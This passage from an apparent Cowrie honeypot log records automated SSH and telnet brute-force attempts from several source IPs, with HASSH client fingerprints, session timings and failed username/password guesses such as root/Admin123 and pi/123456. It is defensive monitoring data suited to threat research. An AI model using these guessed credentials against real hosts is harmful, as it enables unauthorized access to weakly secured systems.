{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:50.507189Z","src_ip":"91.92.42.227","session":"dd2d3ab03ae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:52.833198Z","src_ip":"91.92.42.227","session":"dd2d3ab03ae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:54.498470Z","src_ip":"91.92.42.227","session":"dd2d3ab03ae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":42464,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6f09f912c19","protocol":"ssh","message":"New connection: 91.92.42.227:42464 (10.17.0.5:22) [session: e6f09f912c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:56.578540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:57.421185Z","src_ip":"91.92.42.227","session":"e6f09f912c19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:10:57.424429Z","src_ip":"91.92.42.227","session":"e6f09f912c19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"Password1","message":"login attempt [sysupdate/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:00.153409Z","src_ip":"91.92.42.227","session":"e6f09f912c19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:02.379199Z","src_ip":"91.92.42.227","session":"e6f09f912c19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":42540,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb3324ad9fb1","protocol":"ssh","message":"New connection: 91.92.42.227:42540 (10.17.0.5:22) [session: fb3324ad9fb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:03.071212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:03.790869Z","src_ip":"91.92.42.227","session":"fb3324ad9fb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:03.794201Z","src_ip":"91.92.42.227","session":"fb3324ad9fb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42452,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4c221dcfdf2","protocol":"telnet","message":"New connection: 128.199.8.54:42452 (159.203.135.109:23) [session: f4c221dcfdf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:04.487721Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass","message":"login attempt [root/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:07.343499Z","src_ip":"91.92.42.227","session":"fb3324ad9fb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:09.140189Z","src_ip":"91.92.42.227","session":"fb3324ad9fb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54070,"dst_ip":"10.17.0.5","dst_port":22,"session":"aac77c0ae927","protocol":"ssh","message":"New connection: 91.92.42.227:54070 (10.17.0.5:22) [session: aac77c0ae927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:10.005679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:10.677527Z","src_ip":"91.92.42.227","session":"aac77c0ae927","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:10.683266Z","src_ip":"91.92.42.227","session":"aac77c0ae927","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":38784,"dst_ip":"10.17.0.5","dst_port":22,"session":"958837e1ddec","protocol":"ssh","message":"New connection: 103.27.238.120:38784 (10.17.0.5:22) [session: 958837e1ddec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:10.732759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:10.740304Z","src_ip":"103.27.238.120","session":"958837e1ddec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:11.011389Z","src_ip":"103.27.238.120","session":"958837e1ddec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"138500","message":"login attempt [root/138500] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:11.824977Z","src_ip":"103.27.238.120","session":"958837e1ddec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:13.099491Z","src_ip":"103.27.238.120","session":"958837e1ddec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"123456","message":"login attempt [pi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:13.584658Z","src_ip":"91.92.42.227","session":"aac77c0ae927","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:15.500892Z","src_ip":"91.92.42.227","session":"aac77c0ae927","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52636,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b28cc228773","protocol":"ssh","message":"New connection: 91.92.42.227:52636 (10.17.0.5:22) [session: 1b28cc228773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:16.433647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:17.294846Z","src_ip":"91.92.42.227","session":"1b28cc228773","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:17.298122Z","src_ip":"91.92.42.227","session":"1b28cc228773","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":58136,"dst_ip":"159.203.135.109","dst_port":22,"session":"6dbd0dd120f0","protocol":"ssh","message":"New connection: 80.66.85.226:58136 (159.203.135.109:22) [session: 6dbd0dd120f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:21.158957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:21.171266Z","src_ip":"80.66.85.226","session":"6dbd0dd120f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:21.254411Z","src_ip":"80.66.85.226","session":"6dbd0dd120f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"291083","message":"login attempt [root/291083] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:21.506271Z","src_ip":"80.66.85.226","session":"6dbd0dd120f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd1234","message":"login attempt [root/Abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:21.842096Z","src_ip":"91.92.42.227","session":"1b28cc228773","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:22.592529Z","src_ip":"80.66.85.226","session":"6dbd0dd120f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.987154960632324,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:22.684260Z","src_ip":"172.81.62.90","session":"715b8d427124","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52698,"dst_ip":"10.17.0.5","dst_port":22,"session":"1da94c72a435","protocol":"ssh","message":"New connection: 91.92.42.227:52698 (10.17.0.5:22) [session: 1da94c72a435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:22.994009Z"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:23.925031Z","src_ip":"91.92.42.227","session":"1b28cc228773","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:23.993121Z","src_ip":"91.92.42.227","session":"1da94c72a435","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:23.999669Z","src_ip":"91.92.42.227","session":"1da94c72a435","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":49908,"dst_ip":"10.17.0.5","dst_port":22,"session":"c205b5ba8be1","protocol":"ssh","message":"New connection: 103.248.120.6:49908 (10.17.0.5:22) [session: c205b5ba8be1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:28.527688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:28.531856Z","src_ip":"103.248.120.6","session":"c205b5ba8be1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 